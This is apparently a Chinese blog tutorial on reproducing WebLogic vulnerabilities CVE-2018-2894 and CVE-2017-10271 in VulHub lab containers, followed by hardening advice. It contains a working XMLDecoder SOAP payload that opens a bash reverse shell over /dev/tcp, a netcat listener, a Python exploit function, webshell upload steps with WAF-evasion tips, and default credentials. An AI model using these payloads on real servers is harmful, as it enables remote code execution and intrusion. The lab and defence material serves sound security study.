WebLogic高危漏洞实战:从VulHub环境搭建到自动化利用脚本解析
1. WebLogic漏洞复现环境搭建搞安全研究的朋友都知道WebLogic作为企业级Java中间件一直是漏洞重灾区。我刚开始接触这块的时候最头疼的就是环境搭建问题。后来发现了VulHub这个神器简直是漏洞复现的福音。VulHub提供了大量预置的漏洞环境用Docker一键部署省去了我们手动配置的麻烦。先说说我的环境准备经验。你需要一台至少4GB内存的Linux主机我用的Ubuntu 20.04安装好Docker和docker-compose。这里有个小技巧国内用户记得配置Docker镜像加速不然下载镜像能等到天荒地老。我常用的阿里云镜像加速配置如下sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json -EOF { registry-mirrors: [https://your-aliyun-mirror.mirror.aliyuncs.com] } EOF sudo systemctl daemon-reload sudo systemctl restart docker安装完基础环境后克隆VulHub仓库git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic这里有个坑我踩过好几次不同漏洞需要不同版本的WebLogic镜像千万别搞混了。比如CVE-2017-10271对应的是weblogic:10.3.6.0而CVE-2018-2894需要weblogic:12.1.3.0。启动特定漏洞环境时一定要进对目录。启动环境后我习惯用这个命令检查服务是否正常docker ps -a docker logs [容器ID]看到WebLogic启动日志里有Server started in RUNNING mode就说明成功了。第一次访问管理后台时记得用默认账号weblogic/Oracle123登录这个弱口令在实战中经常能碰到。2. CVE-2018-2894任意文件上传漏洞实战这个漏洞特别有意思它出现在WebLogic的管理端。我刚开始复现时照着文档操作还是失败了三次后来才发现是漏了关键步骤。漏洞本质是Web Service Test Page的两个未授权上传点但默认情况下这个测试页是关闭的。先说说完整复现流程启动环境后访问http://your-ip:7001/console用默认凭证登录注意输错5次会锁定账号别问我怎么知道的在base_domain - 高级里启用Web服务测试页访问/ws_utc/config.do这个未授权接口这里有个关键技巧设置Work Home Dir时要选一个可写且web可访问的目录。我推荐用这个路径/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css上传webshell时我习惯用冰蝎的马因为它的加密通信能绕过大部分WAF。上传后要注意抓包获取时间戳这是访问shell的关键。最终访问路径格式为http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_shell.jsp这个漏洞的修复方案其实挺简单及时打Oracle官方补丁生产环境一定要关闭Web Service Test Page对管理接口实施IP白名单限制3. CVE-2017-10271反序列化漏洞解析这个XMLDecoder反序列化漏洞堪称经典我在多个红队项目中都成功利用过。漏洞出现在/wls-wsat/CoordinatorPortType11接口攻击者可以构造特殊的XML数据实现RCE。复现步骤我总结为启动nc监听nc -lvnp 4444用Burp发送精心构造的SOAP请求最关键的payload部分是这样的java version1.4.0 classjava.beans.XMLDecoder void classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/bash/string/void void index1string-c/string/void void index2 stringbash -i gt;amp; /dev/tcp/your-ip/4444 0gt;amp;1/string /void /array void methodstart/ /void /java我遇到过几个常见问题反弹shell不成功可能是目标出网限制可以尝试写入webshell执行命令没回显改用PrintWriter写入文件观察结果新版WebLogic补丁绕过尝试修改Content-Type头为text/xml;charsetUTF-8对于防御方我建议删除wls-wsat组件升级到最新补丁版本在网络层限制对/wls-wsat路径的访问4. 自动化漏洞利用脚本开发手工复现虽然直观但实战中我们需要自动化工具。我用Python写了几个实用的EXP脚本分享下核心思路。对于CVE-2017-10271关键是要处理好SOAP请求的构造import requests def exploit(target, cmd): headers {Content-Type: text/xml} payload fsoapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.4.0 classjava.beans.XMLDecoder void classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/sh/string/void void index1string-c/string/void void index2string{cmd}/string/void /array void methodstart/ /void /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope try: r requests.post(fhttp://{target}/wls-wsat/CoordinatorPortType, datapayload, headersheaders, timeout10) return True except: return False对于CVE-2018-2894的文件上传漏洞自动化脚本需要处理以下几个关键点获取有效的Work Home Dir处理文件上传的multipart/form-data解析响应获取时间戳我常用的批量检测脚本会先发送探测请求检查目标是否存在漏洞特征然后再进行实际利用。这样可以避免不必要的网络流量和日志记录。5. 漏洞防御与加固建议在多次实战和复现过程中我总结了一些有效的防御措施补丁管理建立定期的补丁更新机制重点关注Oracle季度安全更新对历史漏洞进行回溯性检查配置加固关闭不需要的服务和端口# 禁用T3协议示例 DOMAIN_HOME/bin/setDomainEnv.sh中添加 JAVA_OPTIONS$JAVA_OPTIONS -Dweblogic.rjvm.enableprotocolswitchfalse修改默认管理路径和端口启用管理控制台的双因素认证网络防护在负载均衡层设置WAF规则对管理接口实施严格的访问控制监控异常的SOAP和T3协议请求日志监控开启WebLogic完整审计日志监控以下可疑活动对/wls-wsat的访问异常的JSP文件上传反序列化相关的错误日志在实际运维中我建议采用最小权限原则为WebLogic服务配置专用账户并限制其系统权限。同时定期进行安全评估和漏洞扫描确保没有遗漏的安全隐患。